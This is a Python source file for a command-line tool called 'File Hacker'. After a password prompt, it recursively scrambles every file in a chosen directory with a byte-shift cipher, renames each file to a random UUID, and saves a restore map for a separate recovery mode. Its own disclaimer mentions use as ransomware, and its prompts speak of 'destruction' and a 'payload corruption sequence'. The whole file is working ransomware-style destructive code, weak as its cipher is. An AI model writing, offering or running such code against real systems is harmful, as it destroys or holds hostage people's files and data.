main.py

import os
import sys
from time import sleep
import uuid    # 產生檔名亂碼
import json
from datetime import datetime
from colorama import Fore, Style, init

VERSION = "v1.0.0"
SHIFT = 123    # 加解的位移量

class TextTheme:
    ERROR       = Fore.LIGHTRED_EX
    INFO        = Fore.CYAN
    WARNING     = Fore.YELLOW
    APP_TITLE   = Fore.LIGHTRED_EX
    PROMPT      = Fore.LIGHTBLACK_EX
    INPUT       = Fore.CYAN
    NONE        = Fore.RESET
    SUCCESS     = Fore.GREEN
    TITLE       = Fore.WHITE + Style.BRIGHT

class Encryptor:
    def __caesarFile(self, filePath, shift, isEncrypt = True):
        chunk_size = 8 * 1024 * 1024
        shift = shift % 256    # 0 <= shift <= 255
        offset = shift if isEncrypt else -shift    # 加密+shift ; 解密-shift
        try:
            table = bytes((b + offset) % 256 for b in range(256))    # 預建256格查找表 C層執行 取代Py逐byte迴圈
            with open(filePath, "r+b") as f:
                while True:
                    pos = f.tell()
                    chunk = f.read(chunk_size)
                    if not chunk:
                        break

                    f.seek(pos)
                    f.write(chunk.translate(table))

                os.fsync(f.fileno())

            return True, None

        except Exception as e:
            return False, e

    def encryptFile(self, filePath, shift):
        return self.__caesarFile(filePath, shift, isEncrypt=True)

    def decryptFile(self, filePath, shift):
        return self.__caesarFile(filePath, shift, isEncrypt=False)

class Messager:
    def showInfo(self, content):
        printMsg = f"[*] {content}"
        print(TextTheme.INFO + printMsg)

    def showWarning(self, content):
        printMsg = f"[!] {content}"
        print(TextTheme.WARNING + printMsg)

    def showError(self, content):
        printMsg = f"[-] {content}"
        print(TextTheme.ERROR + printMsg)

    def showSuccess(self, content):
        printMsg = f"[+] {content}"
        print(TextTheme.SUCCESS + printMsg)

class CLIRenderer:
    def __printBanner(self):
        print(TextTheme.APP_TITLE + 
r"""
_____ _ _      _   _            _             
|  ___(_) | ___| | | | __ _  ___| | _____ _ __ 
| |_  | | |/ _ \ |_| |/ _` |/ __| |/ / _ \ '__|
|  _| | | |  __/  _  | (_| | (__|   <  __/ |   
|_|   |_|_|\___|_| |_|\__,_|\___|_|\_\___|_|   
""")

    def firstPage(self):
        os.system("cls" if os.name == "nt" else "clear")
        self.__printBanner()
        print(TextTheme.PROMPT + 
f"""
* Name    : File Hacker
* Version : {VERSION}

THIS PRODUCT IS STRICTLY FOR EDUCATIONAL AND EXPERIMENTAL PURPOSES ONLY.
The developer assumes no liability for any misuse, including but not limited to deployment as ransomware.
All consequences and liabilities rest solely with the user.

.....................................................\n""")

    def askDir(self):
        os.system("cls" if os.name == "nt" else "clear")
        self.__printBanner()
        msg.showWarning("Terms accepted. You bear total responsibility for whatever disaster happens next.")
        print(TextTheme.PROMPT + "\n.....................................................\n")

    def showTerms(self):
        def resourcePath(relative_path):
            try:
                base_path = sys._MEIPASS  # PyInstaller 虛擬資料夾
            except Exception:
                base_path = os.path.abspath(".")
            return os.path.join(base_path, relative_path)
        
        with open(resourcePath("terms.txt"), "r", encoding="utf-8") as f:
            doc = f.read()
        print(TextTheme.TITLE + "\n[ Terms & Disclaimer ]\n")
        print(TextTheme.PROMPT + doc)

    def HackPage(self, root):
        os.system("cls" if os.name == "nt" else "clear")
        self.__printBanner()
        msg.showInfo(f"Working directory: {os.path.abspath(root)}")
        msg.showInfo("Executing destruction operation...")

    def recoveryPage(self):
        os.system("cls" if os.name == "nt" else "clear")
        print(TextTheme.APP_TITLE + 
r"""
_____ _ _      _   _            _             
|  ___(_) | ___| | | | __ _  ___| | _____ _ __ 
| |_  | | |/ _ \ |_| |/ _` |/ __| |/ / _ \ '__|
|  _| | | |  __/  _  | (_| | (__|   <  __/ |   
|_|   |_|_|\___|_| |_|\__,_|\___|_|\_\___|_| restorer
""")
        io.newLine()

class IO:
    def getInput(self, prompt):
        temp = input(TextTheme.INPUT + "[>] " + prompt + " : ").strip()
        if temp == "--exit":
            exiter.exitAll()
        return temp

    def newLine(self):
        print(TextTheme.NONE + "")

class ExitManager:
    def exitAll(self):
        msg.showInfo("Exit")
        sleep(1)
        sys.exit()

    def waitExit(self):
        try:
            io.newLine()
            io.getInput("Press [Enter] to exit")
        except KeyboardInterrupt:
            io.newLine()
        self.exitAll()

class FileHacker:
    def walkFiles(self, path):
        tempFile = []
        for root, dirs, files in os.walk(path):
            for f in files:
                tempFile.append(os.path.join(root, f))
        return tempFile

    def hackFiles(self, dirPath):
        filesList = self.walkFiles(dirPath)
        if not filesList:
            msg.showError("No processable files found in directory.")
            exiter.waitExit()

        encryptor = Encryptor()
        restoreMap = {}    # {新檔相對路徑: 原始相對路徑}
        totalNum = len(filesList)
        failFiles = []
        successNum = 0
        for i, filePath in enumerate(filesList):
            try:
                success, errorMsg = encryptor.encryptFile(filePath, SHIFT)
                if not success:
                    failFiles.append(filePath)
                    msg.showError(f"[{i+1}/{totalNum}] {filePath} destruction failed: {errorMsg}")
                    continue

                root, _ = os.path.split(filePath)
                newName = str(uuid.uuid4())    # 含"-"32字元亂碼
                newFull = os.path.join(root, newName)

                suffix = 0    # 防檔名衝突
                while os.path.exists(newFull):
                    suffix += 1
                    newFull = os.path.join(root, f"{newName}_{suffix}")

                os.rename(filePath, newFull)

                restoreMap[os.path.relpath(newFull, dirPath).replace(os.sep, "/")] = os.path.relpath(filePath, dirPath).replace(os.sep, "/")
                msg.showSuccess(f"[{i+1}/{totalNum}] {filePath} destruction completed")
                successNum += 1
            except Exception as e:
                failFiles.append(filePath)
                msg.showError(f"An error occurred during file processing: {filePath} : {e}")
            except KeyboardInterrupt:
                msg.showWarning(f"Ctrl+C detected. Process aborted.")
                break

        io.newLine()
        self.writeJson(dirPath, restoreMap)

        msg.showInfo("File destruction complete.")
        msg.showInfo(f"Success: {successNum} / Failed: {len(failFiles)} / Total: {totalNum}")
        if failFiles:
            print(TextTheme.PROMPT + f"The following {len(failFiles)} file(s) encountered processing errors:")
            for fp in failFiles:
                print(TextTheme.PROMPT + f"    {fp}")

    def writeJson(self, baseDir, filesMap):
        if not filesMap: return
        now = datetime.now()
        timestamp = now.strftime("%Y%m%d_%H%M%S")
        jsonPath = os.path.join(baseDir, f"_restore_{timestamp}.json")
        restoreData = {
            "version"    : "1.0.0",
            "created_at" : now.isoformat(timespec="seconds"),
            "base_dir"   : baseDir,
            "shift"      : SHIFT,
            "files"      : filesMap
        }
        try:
            with open(jsonPath, "w", encoding="utf-8") as f:
                json.dump(restoreData, f, ensure_ascii=False, indent=4)
            msg.showInfo(f"Restore map saved: {jsonPath}")
        except Exception as e:
            msg.showError(f"Failed to save restore map: {e}")
            msg.showInfo("Please manually copy the following recovery data and save as a JSON file:")
            print(TextTheme.PROMPT + json.dumps(restoreData, ensure_ascii=False, indent=4))

    def recovery(self, jsonPath):
        io.newLine()
        msg.showInfo("Executing recovery operation...")
        try:
            with open(jsonPath, "r", encoding="utf-8") as f:
                restoreData = json.load(f)
        except Exception as e:
            msg.showError(f"Failed to read recovery JSON file, program terminated.")
            return
 
        try:
            baseDir  = restoreData["base_dir"]
            shift    = restoreData["shift"]
            filesMap = restoreData["files"]
        except KeyError as e:
            msg.showError(f"Invalid restore map format, program terminated. (missing key: {e})")
            return
 
        if not filesMap:
            msg.showError("Restore map is empty, program terminated.")
            return
 
        # 確認base_dir是否搬移
        if not os.path.isdir(baseDir):
            msg.showWarning(f"Original base directory not found: {baseDir}")
            while True:
                newBase = io.getInput("Enter current directory path of the encrypted files")
                if os.path.isdir(newBase):
                    baseDir = newBase
                    break
                msg.showError("Directory not found. Please try again.")
 
        encryptor = Encryptor()
        totalNum  = len(filesMap)
        failFiles = []
        successNum = 0
 
        for i, (newRel, origRel) in enumerate(filesMap.items()):
            encryptedPath = os.path.join(baseDir, newRel.replace("/", os.sep))
            originalPath  = os.path.join(baseDir, origRel.replace("/", os.sep))
 
            try:
                if not os.path.exists(encryptedPath):
                    msg.showError(f"[{i+1}/{totalNum}] Encrypted file not found: {encryptedPath}")
                    failFiles.append(newRel)
                    continue
 
                # 跳過同名檔案
                if os.path.exists(originalPath):
                    msg.showWarning(f"[{i+1}/{totalNum}] Target already exists, skipping: {origRel}")
                    failFiles.append(newRel)
                    continue

                os.makedirs(os.path.dirname(originalPath), exist_ok=True)
 
                # 解密
                success, errorMsg = encryptor.decryptFile(encryptedPath, shift)
                if not success:
                    msg.showError(f"[{i+1}/{totalNum}] Decryption failed: {origRel} : {errorMsg}")
                    failFiles.append(newRel)
                    continue

                os.rename(encryptedPath, originalPath)
                msg.showSuccess(f"[{i+1}/{totalNum}] {origRel} restored")
                successNum += 1
 
            except KeyboardInterrupt:
                msg.showWarning("Ctrl+C detected. Recovery aborted.")
                break
            except Exception as e:
                failFiles.append(newRel)
                msg.showError(f"[{i+1}/{totalNum}] Error restoring {origRel} : {e}")
 
        io.newLine()
        msg.showInfo("Recovery complete.")
        msg.showInfo(f"Success: {successNum} / Failed: {len(failFiles)} / Total: {totalNum}")
        if failFiles:
            print(TextTheme.PROMPT + f"The following {len(failFiles)} file(s) failed to restore:")
            for fp in failFiles:
                print(TextTheme.PROMPT + f"    {fp}")

def main():
    init(autoreset=True)    # colorama initialize
    filehacker = FileHacker()
    ui = CLIRenderer()
    ui.firstPage()
    pwd = ["password", "wrong", "again"]
    _input = [io.getInput("Enter password"), io.getInput("Password is wrong"), io.getInput("Try again")]
    if _input != pwd:
        if _input == ["RECOVERY", "RECOVERY", "RECOVERY"]:    # 復原模式
            ui.recoveryPage()
            msg.showInfo("Recovery mode selected.")
            while True:
                jsonPath = io.getInput("Enter restore map (.json) file path").strip(""" " ' """)
                if os.path.isfile(jsonPath) and jsonPath.endswith(".json"):
                    break
                msg.showError("File not found or not a .json file. Please try again.")
            start = ""
            while not start:    # 確認是否開始復原
                _input = io.getInput("Execute payload recovery sequence? [Y/n]")
                if _input.lower() == "y":
                    start = "y"
                    break
                elif _input.lower() == "n":
                    start = "n"
                    exiter.waitExit()
                elif _input == "":
                    start = "y"
                    break
                else:
                    msg.showError("Invalid option. Please enter a valid option.")
            filehacker.recovery(jsonPath)
            exiter.waitExit()

        msg.showError("Invalid password")
        io.newLine()
        exiter.exitAll()

    io.newLine()
    msg.showInfo("Welcome to use")
    msg.showInfo('Use command "--exit" to exit')

    io.newLine()
    msg.showWarning("HAZARDOUS INSTRUCTION. READ Terms & Disclaimer BELOW FIRST.")
    ui.showTerms()
    io.getInput("Press [Enter] to accept all terms above and start the program")

    ui.askDir()

    while True:    # 取得父目錄
        dirPath = io.getInput("Enter directory path to lock")
        if not(os.path.isdir(dirPath)):
            msg.showError("Directory isn't exist. (Please enter again)")
        else:
            msg.showSuccess("Directory found.")
            break

    start = ""
    while not start:    # 確認是否開始破壞
        _input = io.getInput("Execute payload corruption sequence? [Y/n]")
        if _input.lower() == "y":
            start = "y"
            break
        elif _input.lower() == "n":
            start = "n"
            exiter.waitExit()
        elif _input == "":
            start = "y"
            break
        else:
            msg.showError("Invalid option. Please enter a valid option.")

    ui.HackPage(dirPath)
    filehacker.hackFiles(dirPath)

    exiter.waitExit()


if __name__ == "__main__":
    try:
        io = IO()
        msg = Messager()
        exiter = ExitManager()
        main()
    except KeyboardInterrupt:
        io.newLine()
        msg.showWarning("Ctrl+C detected. Shutting down program...")
        exiter.waitExit()
    except Exception as e:
        msg.showError(f"Unexpected error: {e}")